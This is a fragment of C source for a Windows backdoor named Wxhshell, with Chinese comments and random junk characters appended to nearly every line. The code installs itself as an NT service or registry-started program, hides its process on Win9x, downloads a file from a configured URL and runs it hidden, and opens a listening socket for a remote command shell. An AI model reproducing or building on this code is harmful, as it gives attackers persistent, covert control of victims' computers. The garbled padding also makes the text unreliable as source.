DWORD BasePriority; IfXLnD^||
ULONG UniqueProcessId; fp![Pbms.
ULONG InheritedFromUniqueProcessId; dju&Ku
} PROCESS_BASIC_INFORMATION; {M~!?#<K
8:xQPd?3
PROCNTQSIP NtQueryInformationProcess; Ju9v n44
(kuZS4Af
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l*m|b""].u
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^&rbI,D
z:G9Uu3H(
HANDLE hProcess; 0\~Zg
PROCESS_BASIC_INFORMATION pbi; =W|Q0|U
: }IS=A
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .CpF0
if(NULL == hInst ) return 0; 7:j #1N[p
`(a^=e5
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U; q)01
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5~"=Fm<uD
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zm .2L
)w`Nkx
if (!NtQueryInformationProcess) return 0; V7@xr
M
T+ t-0k
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L
wu;y@[
if(!hProcess) return 0; Fszk?0T
j{Fo 6##
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5Q}@Y3 i=
2$ rq
CloseHandle(hProcess); y d$37G|n
2Ls<OO
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t]o gn(
if(hProcess==NULL) return 0; l&A`
E>1USKxn
HMODULE hMod; UK<"|2^sT
char procName[255];
]\e zES
unsigned long cbNeeded; 3U`.:w`
`3:%F>
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); an2Tc*=~l(
Vi|jkyC8
CloseHandle(hProcess); m #eD v*
yEny2q}
if(strstr(procName,"services")) return 1; // 以服务启动 -&A[{m <,>
Mww]l[1'EL
return 0; // 注册表启动 D{l((t3=T
} .0|J+D
yW&iUh=0
// 主模块 !jW32$YTR
int StartWxhshell(LPSTR lpCmdLine) "%]dC{
{ 6J*`<k/S
SOCKET wsl; Y"jDZG?
BOOL val=TRUE; aS7zG2R4H
int port=0; GT.^u#r
struct sockaddr_in door; I{PN6bn{>
W<L6,
if(wscfg.ws_autoins) Install(); ^hgAgP{{
Dn3~8
port=atoi(lpCmdLine); @ih}x
!T~d5^l!
if(port<=0) port=wscfg.ws_port; 1W
g8jr's
%ze1ZWO{
WSADATA data; 7. .vaq#
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K0g:Q*J-
j5O*H_D
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~-GDheA
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bH{aI:9Fb
door.sin_family = AF_INET; c" 7pf
T
door.sin_addr.s_addr = inet_addr("127.0.0.1"); gsp7N
door.sin_port = htons(port); OQQ9R?Ll{
f tPw6
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QA(,K}z~^S
closesocket(wsl); ^IpiNY/%Q
return 1; 1#<E]<='t
} }(K6 YL
bZXNo
if(listen(wsl,2) == INVALID_SOCKET) { /<$"c"UQ
closesocket(wsl); d"UW38K{
return 1; ,no:6
} .[fz x`
Wxhshell(wsl); %}!}2s.A
WSACleanup(); $rEd5W&d!
jZ!JXmVV
return 0; Ag6
(
}6>J
} z)>{O3
af(JoX*U
// 以NT服务方式启动 e;5Lv9?C8
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )''wu\7A)'
{ %6'D!H?d
DWORD status = 0; )1}g7:
DWORD specificError = 0xfffffff; J#DcT@
HJR<d&l;p
serviceStatus.dwServiceType = SERVICE_WIN32; zYdtQjv
serviceStatus.dwCurrentState = SERVICE_START_PENDING; i@Zj7#e*
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )^Pvm
serviceStatus.dwWin32ExitCode = 0; }YP7x|
serviceStatus.dwServiceSpecificExitCode = 0; l%(`<a]VIB
serviceStatus.dwCheckPoint = 0; \ZRoTh
serviceStatus.dwWaitHint = 0; ~N^vE;
5ba[6\Af
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wWU_?Dr_~
if (hServiceStatusHandle==0) return; 'kvFU_)
N-9gfG
status = GetLastError(); nln6:^w
if (status!=NO_ERROR) S "Pj1
{ R?~h7 d
serviceStatus.dwCurrentState = SERVICE_STOPPED; Z3>xpw G
serviceStatus.dwCheckPoint = 0; ~+egu89'TU
serviceStatus.dwWaitHint = 0; jYX9;C;J
serviceStatus.dwWin32ExitCode = status; tC:,!4 P$
serviceStatus.dwServiceSpecificExitCode = specificError; TrU@mYnE
SetServiceStatus(hServiceStatusHandle, &serviceStatus); je4&'vyU
return; bV*zMoD#
} A9Wqz"[
vfUfrk@D~
serviceStatus.dwCurrentState = SERVICE_RUNNING; Gc!8v}[7J
serviceStatus.dwCheckPoint = 0; <]^;/2.B
serviceStatus.dwWaitHint = 0; :V~*vLvR
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
c dbSv=r
} dMmka
-QPWi2:k
// 处理NT服务事件,比如:启动、停止 u7&'3 ef
VOID WINAPI NTServiceHandler(DWORD fdwControl) aSkx#mV
{ cC^C7AAq^
switch(fdwControl) F}(QKO*
{ #pQ"+X
case SERVICE_CONTROL_STOP: FP'lEp
serviceStatus.dwWin32ExitCode = 0; 1`]IU_) 1B
serviceStatus.dwCurrentState = SERVICE_STOPPED; 36x:(-GFq
serviceStatus.dwCheckPoint = 0; rHgdvDc
serviceStatus.dwWaitHint = 0; ` ]P5,
{ +`zi>=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); L1kM~M
} Y\e]2
return; ,/`E|eG1G
case SERVICE_CONTROL_PAUSE: C!{AnWf
serviceStatus.dwCurrentState = SERVICE_PAUSED; NS4'IR=;E!
break; r`R~{;oT
case SERVICE_CONTROL_CONTINUE: 2HGD{;6>v{
serviceStatus.dwCurrentState = SERVICE_RUNNING; -^4bA<dCCE
break; >2CusT 2
case SERVICE_CONTROL_INTERROGATE: b]<HhU
break; &s^>S?L-
}; .k,Jt+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lv5X 'yM
} @" 0tW:
:~3{oZGX&
// 标准应用程序主函数 f\);HJbg
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M"5!s,
{ kq%gY
d&T6p&V$
// 获取操作系统版本 =Xy`"i{`(
OsIsNt=GetOsVer(); Z1$];Q\cX
GetModuleFileName(NULL,ExeFile,MAX_PATH); XMEK5Z9Dd
Q
A)9
// 从命令行安装 {jM<t
if(strpbrk(lpCmdLine,"iI")) Install(); "bR'Bt
|\%F(d330
// 下载执行文件 n!ZP?]FR
if(wscfg.ws_downexe) { uOl(-Zq@
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #W@% K9
WinExec(wscfg.ws_filenam,SW_HIDE); ]LBvYjMY
} 4Wla&yy
1Y"35)CR)
if(!OsIsNt) { =Esbeb7P
// 如果时win9x,隐藏进程并且设置为注册表启动 nl'J.dJe
HideProc(); yMbcFDlBr
StartWxhshell(lpCmdLine); }WO9!E(
} EARfbb"SG7
else JC&6q>$
if(StartFromService()) )y`TymM[F
// 以服务方式启动 1rv$?=Z
StartServiceCtrlDispatcher(DispatchTable); ,.oa,sku
else r'd:SaU+
// 普通方式启动 <,@H;|mZ
StartWxhshell(lpCmdLine); &*aer5?`
y
Tw',N{
return 0; 7.$]f71z
} 1]>$5 1Q
eyf4M;goz}
/~Zc}o,J
~)wwX:;B_
=========================================== <+\k&W&Y|y
pfL2v,]g
2~M;L&9-
eA1k)gjE
E5*-;>2c
oE!hF }O
" }0BL0N`_
NqT1buU#
#include <stdio.h> ApG'jN
#include <string.h> ..jq[(;N
#include <windows.h> 8B *E+f0
#include <winsock2.h> x/%7%_+'
#include <winsvc.h> rkfQr9Vc
#include <urlmon.h> ]{|fYt_-
"u<jbD
#pragma comment (lib, "Ws2_32.lib") /[Bl
#pragma comment (lib, "urlmon.lib") }%!FMXe
V;iL[
#define MAX_USER 100 // 最大客户端连接数 JlC<MQ?
#define BUF_SOCK 200 // sock buffer J[}gku?C;
#define KEY_BUFF 255 // 输入 buffer &;ZC<